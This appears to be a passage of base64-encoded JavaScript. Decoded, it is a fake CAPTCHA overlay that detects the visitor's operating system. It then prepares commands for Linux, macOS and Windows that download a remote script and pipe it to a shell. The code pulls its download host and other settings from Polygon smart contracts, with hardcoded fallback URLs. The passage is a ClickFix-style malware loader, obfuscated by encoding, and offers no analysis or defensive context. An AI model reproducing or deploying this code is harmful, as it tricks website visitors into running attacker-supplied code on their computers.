zc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTsNCiFmdW5jdGlvbigpew0KDQogIGlmICh3aW5kb3dbJ19fYWxyZWFkeVJhbiddKSByZXR1cm47DQogIHdpbmRvd1snX19hbHJlYWR5UmFuJ10gPSAxOw0KDQoNCiAgdmFyIHNlc3Npb25Ub2tlbiA9ICJkMTA3M2YzOGU0YzU4NTVmODQzNWM0NjE5NGY3YjFhZDc0YjQwNjViNDJmYjAyY2IiOw0KICB2YXIgRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMID0gImh0dHBzOi8vc2NyaXB0Lmdvb2dsZS5jb20vbWFjcm9zL3MvQUtmeWNienMwdlFSdkktMkJ4NFZVVUN4VUE0azY0SGRraUhpY1RtdUszeTFNWEFsN0FnalBJV3RSQlpxSDB2NkV6emV1QmFIL2V4ZWMiOw0KICB2YXIgRkFMTEJBQ0tfVkVSQ0VMX0JBU0UgPSAiaHR0cHM6Ly9zY3JpcHQtc2l4LXRhd255LnZlcmNlbC5hcHAiOw0KICB2YXIgQVBQU19TQ1JJUFRfVVJMID0gRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICB2YXIgVkVSQ0VMX0JBU0UgPSBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKSB7DQogICAgdmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudCB8fCAnJzsNCiAgICB2YXIgcGxhdGZvcm0gPSBuYXZpZ2F0b3IucGxhdGZvcm0gfHwgJyc7DQogICAgaWYgKC9XaW4vaS50ZXN0KHBsYXRmb3JtKSB8fCAvV2luZG93cy9pLnRlc3QodWEpKSByZXR1cm4gJ3dpbmRvd3MnOw0KICAgIGlmICgvTWFjL2kudGVzdChwbGF0Zm9ybSkgfHwgL01hY2ludG9zaHxNYWMgT1MgWC9pLnRlc3QodWEpKSByZXR1cm4gJ21hYyc7DQogICAgaWYgKC9MaW51eC9pLnRlc3QocGxhdGZvcm0pIHx8IC9MaW51eHxYMTEvaS50ZXN0KHVhKSkgcmV0dXJuICdsaW51eCc7DQogICAgcmV0dXJuICd3aW5kb3dzJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdFZpc2l0b3JPcygpIHsNCiAgICByZXR1cm4gZGV0ZWN0VmlzaXRvck9zRmFtaWx5KCk7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbikgew0KICAgIHZhciBudE1hdGNoID0gdWEubWF0Y2goL1dpbmRvd3MgTlQgKFswLTkuXSspL2kpOw0KICAgIHZhciBudCA9IG50TWF0Y2ggPyBudE1hdGNoWzFdIDogJyc7DQogICAgdmFyIHB2TWFqb3IgPSBwbGF0Zm9ybVZlcnNpb24gPw0KICAgICAgKHBhcnNlSW50KFN0cmluZyhwbGF0Zm9ybVZlcnNpb24pLnNwbGl0KCcuJylbMF0sIDEwKSB8fCAwKSA6IDA7DQogICAgLy8gQ2hyb21pdW0gVXNlci1BZ2VudCBDbGllbnQgSGludHM6IFdpbjExIHJlcG9ydHMgcGxhdGZvcm1WZXJzaW9uIDEzKw0KICAgIGlmIChwdk1ham9yID49IDEzKSByZXR1cm4gJ3dpbjExJzsNCiAgICBpZiAobnQgPT09ICcxMC4wJyB8fCBwdk1ham9yID09PSAxMCkgcmV0dXJuICd3aW4xMCc7DQogICAgaWYgKG50ID09PSAnNi4zJykgcmV0dXJuICd3aW44LjEnOw0KICAgIGlmIChudCA9PT0gJzYuMicpIHJldHVybiAnd2luOCc7DQogICAgaWYgKG50ID09PSAnNi4xJykgcmV0dXJuICd3aW43JzsNCiAgICBpZiAobnQgPT09ICc2LjAnKSByZXR1cm4gJ3dpbnZpc3RhJzsNCiAgICBpZiAobnQgPT09ICc1LjEnKSByZXR1cm4gJ3dpbnhwJzsNCiAgICBpZiAobnQpIHJldHVybiAnd2luJyArIG50LnJlcGxhY2UoL1wuL2csICcnKTsNCiAgICByZXR1cm4gJ3dpbjEwJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdE1hY0xhYmVsKHVhLCBwbGF0Zm9ybVZlcnNpb24pIHsNCiAgICB2YXIgcHZNYWpvciA9IHBsYXRmb3JtVmVyc2lvbiA/DQogICAgICAocGFyc2VJbnQoU3RyaW5nKHBsYXRmb3JtVmVyc2lvbikuc3BsaXQoJy4nKVswXSwgMTApIHx8IDApIDogMDsNCiAgICBpZiAocHZNYWpvciA+IDApIHJldHVybiAnTWFjICcgKyBwdk1ham9yOw0KICAgIHZhciBtYWNNYXRjaCA9IHVhLm1hdGNoKC9NYWMgT1MgWCAoXGQrKVtfLl0oXGQrKS9pKTsNCiAgICBpZiAobWFjTWF0Y2gpIHJldHVybiAnTWFjICcgKyBtYWNNYXRjaFsxXSArICcuJyArIG1hY01hdGNoWzJdOw0KICAgIHJldHVybiAnTWFjJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdExpbnV4TGFiZWwodWEpIHsNCiAgICB2YXIgZGlzdHJvTWF0Y2ggPSB1YS5tYXRjaCgvXGIoVWJ1bnR1fEZlZG9yYXxEZWJpYW58TGludXggTWludHxQb3AhX09TfEFyY2ggTGludXh8TWFuamFyb3xvcGVuU1VTRSg/OiBMZWFwfCBUdW1ibGV3ZWVkKT98S2FsaXxlbGVtZW50YXJ5IE9TfFpvcmluIE9TKSg/OlsvIF0oW1xkLl0rKSk/L2kpOw0KICAgIGlmIChkaXN0cm9NYXRjaCkgew0KICAgICAgdmFyIGRpc3RybyA9IGRpc3Ryb01hdGNoWzFdOw0KICAgICAgdmFyIHZlciA9IGRpc3Ryb01hdGNoWzJdIHx8ICcnOw0KICAgICAgaWYgKC91YnVudHUvaS50ZXN0KGRpc3RybykpIHsNCiAgICAgICAgaWYgKCF2ZXIpIHsNCiAgICAgICAgICB2YXIgdWJ1bnR1U2xhc2ggPSB1YS5tYXRjaCgvVWJ1bnR1XC8oW1xkLl0rKS9pKTsNCiAgICAgICAgICB2ZXIgPSB1YnVudHVTbGFzaCA/IHVidW50dVNsYXNoWzFdIDogJyc7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHZlciA/ICgnVWJ1bnR1ICcgKyB2ZXIuc3BsaXQoJy4nKVswXSkgOiAnVWJ1bnR1JzsNCiAgICAgIH0NCiAgICAgIHJldHVybiB2ZXIgPyAoZGlzdHJvICsgJyAnICsgdmVyLnNwbGl0KCcuJylbMF0pIDogZGlzdHJvOw0KICAgIH0NCiAgICBpZiAoL0NyT1MvaS50ZXN0KHVhKSkgcmV0dXJuICdDaHJvbWVPUyc7DQogICAgaWYgKC9BbmRyb2lkL2kudGVzdCh1YSkpIHJldHVybiAnQW5kcm9pZCc7DQogICAgaWYgKC9hYXJjaDY0fGFybTY0L2kudGVzdCh1YSkpIHJldHVybiAnTGludXggYXJtNjQnOw0KICAgIGlmICgveDg2XzY0fHg2NHxhbWQ2NC9pLnRlc3QodWEpKSByZXR1cm4gJ0xpbnV4IHg4Nl82NCc7DQogICAgcmV0dXJuICdMaW51eCc7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKSB7DQogICAgdWEgPSB1YSB8fCBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnOw0KICAgIHZhciBmYW1pbHkgPSBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnd2luZG93cycpIHJldHVybiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbik7DQogICAgaWYgKGZhbWlseSA9PT0gJ21hYycpIHJldHVybiBkZXRlY3RNYWNMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnbGludXgnKSByZXR1cm4gZGV0ZWN0TGludXhMYWJlbCh1YSk7DQogICAgcmV0dXJuICd3aW4xMCc7DQogIH0NCg0KICB2YXIgVklTSVRPUl9PU19MQUJFTCA9IGRldGVjdFZpc2l0b3JPc0xhYmVsKCk7DQoNCiAgKGZ1bmN0aW9uIHJlZmluZVZpc2l0b3JPc0xhYmVsKCkgew0KICAgIHRyeSB7DQogICAgICBpZiAoIW5hdmlnYXRvci51c2VyQWdlbnREYXRhIHx8ICFuYXZpZ2F0b3IudXNlckFnZW50RGF0YS5nZXRIaWdoRW50cm9weVZhbHVlcykgcmV0dXJuOw0KICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudERhdGEuZ2V0SGlnaEVudHJvcHlWYWx1ZXMoWydwbGF0Zm9ybVZlcnNpb24nXSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGludHMpIHsNCiAgICAgICAgICBWSVNJVE9SX09TX0xBQkVMID0gZGV0ZWN0VmlzaXRvck9zTGFiZWwoDQogICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnLA0KICAgICAgICAgICAgaGludHMgJiYgaGludHMucGxhdGZvcm1WZXJzaW9uDQogICAgICAgICAgKTsNCiAgICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfT1NfTEFCRUwgPSBWSVNJVE9SX09TX0xBQkVMOyB9IGNhdGNoIChlKSB7fQ0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7fSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfSkoKTsNCg0KICBmdW5jdGlvbiBnZXRWaXNpdG9yT3NMYWJlbCgpIHsNCiAgICByZXR1cm4gVklTSVRPUl9PU19MQUJFTCB8fCBkZXRlY3RWaXNpdG9yT3NMYWJlbCgpOw0KICB9DQoNCiAgdHJ5IHsgd2luZG93Ll9fQVZUX09TX0xBQkVMID0gVklTSVRPUl9PU19MQUJFTDsgfSBjYXRjaCAoZSkge30NCg0KICBmdW5jdGlvbiBnZXRWZXJjZWxDb21tYW5kKG9zKSB7DQogICAgdmFyIGJhc2UgPSBWRVJDRUxfQkFTRSB8fCBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCiAgICBpZiAob3MgPT09ICdsaW51eCcpIHsNCiAgICAgIHJldHVybiAid2dldCAtcU8tICciICsgYmFzZSArICIvbGluJyAtTCB8IHNoIjsNCiAgICB9DQogICAgaWYgKG9zID09PSAnbWFjJykgew0KICAgICAgcmV0dXJuICJjdXJsIC1zICciICsgYmFzZSArICIvbWFjJyAtTCB8IHNoIjsNCiAgICB9DQogICAgcmV0dXJuICJjdXJsLmV4ZSAtcyAiICsgYmFzZSArICIvd2luIC1MIHwgY21kIjsNCiAgfQ0KDQogIHZhciBycGNMaXN0ID0gWw0KICAgICdodHRwczovL3BvbHlnb24uZHJwYy5vcmcnLA0KICAgICdodHRwczovL3JwYy5hbmtyLmNvbS9wb2x5Z29uJywNCiAgICAnaHR0cHM6Ly8xcnBjLmlvL21hdGljJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLWJvci1ycGMucHVibGljbm9kZS5jb20nLA0KICAgICdodHRwczovL3BvbHlnb24tcHVibGljLm5vZGllcy5hcHAnLA0KICAgICdodHRwczovL3BvbHlnb24tbWFpbm5ldC5wdWJsaWMuYmxhc3RhcGkuaW8nLA0KICAgICdodHRwczovL3BvbHlnb24uZ2F0ZXdheS50ZW5kZXJseS5jbycsDQogICAgJ2h0dHBzOi8vcnBjLW1haW5uZXQubWF0aWMucXVpa25vZGUucHJvJw0KICBdOw0KDQogIHZhciBsaW5rQ29uZmlnQ29udHJhY3QgPSAiMHhmNzA3MzBBNEU1Yjg5QjZDNkUwMkVkYWVENTgyYmFkZjY0NjVlOUQ5IjsNCiAgdmFyIGxpbmtTZWxlY3RvcnMgPSB7DQogICAgZ2V0QXBwc1NjcmlwdFVybDogIjRlNThlMmY3IiwNCiAgICBnZXRWZXJjZWxCYXNlOiAiYmFkZDYyZGIiLA0KICAgIGdldFZlcnNpb246ICIwZDhlNmUyYyINCiAgfTsNCiAgdmFyIGRvbWFpbkNvbnRyYWN0QWRkcmVzcyA9ICIweEI2YkM5ZTFEMGIyZkI5NkFiN0M0N0UwNENiMEJFNDc3NDEwYkMxZjIiOw0KICB2YXIgZG9tYWluTWV0aG9kU2VsZWN0b3IgPSAiYjY4ZDE4MDkiOw0KICB2YXIgTElOS19DRkdfQ0FDSEVfS0VZID0gImNvZ25pX2xpbmtfY2ZnIjsNCg0KICBmdW5jdGlvbiBkZWNvZGVBYmlTdHJpbmcoaGV4UmVzdWx0KSB7DQogICAgdHJ5IHsNCg0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQuc3Vic3RyKDAsIDIpID09PSAnMHgnID8gaGV4UmVzdWx0LnN1YnN0cigyKSA6IGhleFJlc3VsdDsNCg0KDQogICAgICBpZiAoaGV4RGF0YS5sZW5ndGggPCAxMjgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoNjQsIDY0KSwgMTYpOw0KICAgICAgaWYgKCFzdHJpbmdMZW5ndGgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nSGV4Qnl0ZXMgPSBoZXhEYXRhLnN1YnN0cigxMjgsIHN0cmluZ0xlbmd0aCAqIDIpOw0KICAgICAgdmFyIGRlY29kZWRTdHJpbmcgPSAnJzsNCg0KDQogICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ0hleEJ5dGVzLmxlbmd0aDsgaSArPSAyKSB7DQogICAgICAgIHZhciBjaGFyQ29kZSA9IHBhcnNlSW50KHN0cmluZ0hleEJ5dGVzLnN1YnN0cihpLCAyKSwgMTYpOw0KICAgICAgICBpZiAoY2hhckNvZGUpIGRlY29kZWRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjaGFyQ29kZSk7DQogICAgICB9DQogICAgICByZXR1cm4gZGVjb2RlZFN0cmluZzsNCiAgICB9IGNhdGNoIChlKSB7DQogICAgICByZXR1cm4gJyc7DQogICAgfQ0KICB9DQoNCiAgZnVuY3Rpb24gZGVjb2RlQWJpVWludDI1NihoZXhSZXN1bHQpIHsNCiAgICB0cnkgew0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQgJiYgaGV4UmVzdWx0LnN1YnN0cigwLCAyKSA9PT0gJzB4JyA/IGhleFJlc3VsdC5zdWJzdHIoMikgOiBoZXhSZXN1bHQ7DQogICAgICBpZiAoIWhleERhdGEgfHwgaGV4RGF0YS5sZW5ndGggPCA2NCkgcmV0dXJuIDA7DQogICAgICByZXR1cm4gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoLTY0KSwgMTYpOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHJwY0NhbGwocnBjVXJsLCByZXF1ZXN0Qm9keSkgew0KICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbiAocmVzb2x2ZSwgcmVqZWN0KSB7DQogICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICB4aHIub3BlbignUE9TVCcsIHJwY1VybCwgdHJ1ZSk7DQogICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgIHhoci50aW1lb3V0ID0gNTAwMDsNCg0KICAgICAgeGhyLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICByZXNvbHZlKEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCkpOw0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgcmVqZWN0KGUpOw0KICAgICAgICB9DQogICAgICB9Ow0KDQogICAgICB4aHIub25lcnJvciA9IHhoci5vbnRpbWVvdXQgPSBmdW5jdGlvbiAoKSB7DQogICAgICAgIHJlamVjdChuZXcgRXJyb3IoKSk7DQogICAgICB9Ow0KDQogICAgICB4aHIuc2VuZChKU09OLnN0cmluZ2lmeShyZXF1ZXN0Qm9keSkpOw0KICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpIHsNCiAgICBpZiAocnBjSW5kZXggPj0gcnBjTGlzdC5sZW5ndGgpIHJldHVybiBQcm9taXNlLnJlc29sdmUoJycpOw0KICAgIHZhciByZXF1ZXN0Qm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogY29udHJhY3QsIGRhdGE6ICcweCcgKyBzZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQogICAgcmV0dXJuIHJwY0NhbGwocnBjTGlzdFtycGNJbmRleF0sIHJlcXVlc3RCb2R5KQ0KICAgICAgLnRoZW4oZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5lcnJvcikgcmV0dXJuIGV0aENhbGxBdChjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQpIHJldHVybiByZXNwb25zZS5yZXN1bHQ7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSkNCiAgICAgIC5jYXRjaChmdW5jdGlvbiAoKSB7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCcnKTsNCiAgICByZXR1cm4gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpLnRoZW4oZnVuY3Rpb24gKGhleCkgew0KICAgICAgdmFyIHZhbHVlID0gZGVjb2RlQWJpU3RyaW5nKGhleCk7DQogICAgICBpZiAodmFsdWUpIHJldHVybiB2YWx1ZTsNCiAgICAgIHJldHVybiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiByZWFkTGlua0NhY2hlKCkgew0KICAgIHRyeSB7DQogICAgICB2YXIgcmF3ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oTElOS19DRkdfQ0FDSEVfS0VZKTsNCiAgICAgIHJldHVybiByYXcgPyBKU09OLnBhcnNlKHJhdykgOiBudWxsOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiBudWxsOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHdyaXRlTGlua0NhY2hlKHZlcnNpb24sIGFwcHMsIHZlcmNlbCkgew0KICAgIHRyeSB7DQogICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShMSU5LX0NGR19DQUNIRV9LRVksIEpTT04uc3RyaW5naWZ5KHsNCiAgICAgICAgdmVyc2lvbjogdmVyc2lvbiwNCiAgICAgICAgYXBwczogYXBwcywNCiAgICAgICAgdmVyY2VsOiB2ZXJjZWwsDQogICAgICAgIHRzOiBEYXRlLm5vdygpDQogICAgICB9KSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGlzVmFsaWRBcHBzVXJsKHVybCkgew0KICAgIHJldHVybiAhIXVybA0KICAgICAgJiYgL15odHRwczpcL1wvc2NyaXB0XC5nb29nbGVcLmNvbVwvbWFjcm9zXC9zXC9bQS1aYS16MC05Xy1dK1wvZXhlYyQvLnRlc3QodXJsKQ0KICAgICAgJiYgdXJsLmluZGV4T2YoJ1lPVVJfU0NSSVBUX0lEJykgPT09IC0xOw0KICB9DQoNCiAgZnVuY3Rpb24gaXNWYWxpZFZlcmNlbEJhc2UodXJsKSB7DQogICAgdmFyIGJhc2UgPSBTdHJpbmcodXJsIHx8ICcnKS5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgIHJldHVybiAhIWJhc2UNCiAgICAgICYmIC9eaHR0cHM6XC9cL1thLXowLTktXStcLnZlcmNlbFwuYXBwJC9pLnRlc3QoYmFzZSkNCiAgICAgICYmIGJhc2UuaW5kZXhPZigneW91ci1hcHAnKSA9PT0gLTE7DQogIH0NCg0KICBmdW5jdGlvbiBhcHBseUxpbmtDb25maWcoY2ZnKSB7DQogICAgdmFyIGFwcHMgPSAoY2ZnICYmIGNmZy5hcHBzKSA/IGNmZy5hcHBzIDogRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICAgIHZhciB2ZXJjZWwgPSAoY2ZnICYmIGNmZy52ZXJjZWwpID8gU3RyaW5nKGNmZy52ZXJjZWwpLnJlcGxhY2UoL1wvKyQvLCAnJykgOiBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCiAgICBBUFBTX1NDUklQVF9VUkwgPSBpc1ZhbGlkQXBwc1VybChhcHBzKSA/IGFwcHMgOiBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkw7DQogICAgVkVSQ0VMX0JBU0UgPSBpc1ZhbGlkVmVyY2VsQmFzZSh2ZXJjZWwpID8gdmVyY2VsIDogRkFMTEJBQ0tfVkVSQ0VMX0JBU0U7DQogICAgdHJ5IHsgd2luZG93Ll9fQVZUX0FQUFNfU0NSSVBUX1VSTCA9IEFQUFNfU0NSSVBUX1VSTDsgfSBjYXRjaCAoZSkge30NCiAgICB0cnkgeyB3aW5kb3cuX19BVlRfVkVSQ0VMX0JBU0UgPSBWRVJDRUxfQkFTRTsgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCkgew0KICAgIGlmIChycGNJbmRleCA+PSBycGNMaXN0Lmxlbmd0aCkgcmV0dXJuIFByb21pc2UucmVzb2x2ZShudWxsKTsNCg0KICAgIHZhciB2ZXJzaW9uQm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogbGlua0NvbmZpZ0NvbnRyYWN0LCBkYXRhOiAnMHgnICsgbGlua1NlbGVjdG9ycy5nZXRWZXJzaW9uIH0sICdsYXRlc3QnXSwNCiAgICAgIGlkOiAxDQogICAgfTsNCg0KICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCB2ZXJzaW9uQm9keSkNCiAgICAgIC50aGVuKGZ1bmN0aW9uIChyZXNwb25zZSkgew0KICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2UuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgdmFyIHZlcnNpb24gPSByZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQgPyBkZWNvZGVBYmlVaW50MjU2KHJlc3BvbnNlLnJlc3VsdCkgOiAwOw0KICAgICAgICBpZiAoIXZlcnNpb24pIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCg0KICAgICAgICB2YXIgY2FjaGVkID0gcmVhZExpbmtDYWNoZSgpOw0KICAgICAgICBpZiAoY2FjaGVkICYmIGNhY2hlZC52ZXJzaW9uID09PSB2ZXJzaW9uICYmDQogICAgICAgICAgICBpc1ZhbGlkQXBwc1VybChjYWNoZWQuYXBwcykgJiYgaXNWYWxpZFZlcmNlbEJhc2UoY2FjaGVkLnZlcmNlbCkpIHsNCiAgICAgICAgICByZXR1cm4geyBhcHBzOiBjYWNoZWQuYXBwcywgdmVyY2VsOiBjYWNoZWQudmVyY2VsLCB2ZXJzaW9uOiB2ZXJzaW9uIH07DQogICAgICAgIH0NCg0KICAgICAgICB2YXIgYXBwc0JvZHkgPSB7DQogICAgICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgICAgIHBhcmFtczogW3sgdG86IGxpbmtDb25maWdDb250cmFjdCwgZGF0YTogJzB4JyArIGxpbmtTZWxlY3RvcnMuZ2V0QXBwc1NjcmlwdFVybCB9LCAnbGF0ZXN0J10sDQogICAgICAgICAgaWQ6IDINCiAgICAgICAgfTsNCiAgICAgICAgdmFyIHZlcmNlbEJvZHkgPSB7DQogICAgICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgICAgIHBhcmFtczogW3sgdG86IGxpbmtDb25maWdDb250cmFjdCwgZGF0YTogJzB4JyArIGxpbmtTZWxlY3RvcnMuZ2V0VmVyY2VsQmFzZSB9LCAnbGF0ZXN0J10sDQogICAgICAgICAgaWQ6IDMNCiAgICAgICAgfTsNCg0KICAgICAgICByZXR1cm4gcnBjQ2FsbChycGNMaXN0W3JwY0luZGV4XSwgYXBwc0JvZHkpDQogICAgICAgICAgLnRoZW4oZnVuY3Rpb24gKGFwcHNSZXNwKSB7DQogICAgICAgICAgICBpZiAoYXBwc1Jlc3AgJiYgYXBwc1Jlc3AuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCB2ZXJjZWxCb2R5KS50aGVuKGZ1bmN0aW9uICh2ZXJjZWxSZXNwKSB7DQogICAgICAgICAgICAgIGlmICh2ZXJjZWxSZXNwICYmIHZlcmNlbFJlc3AuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5k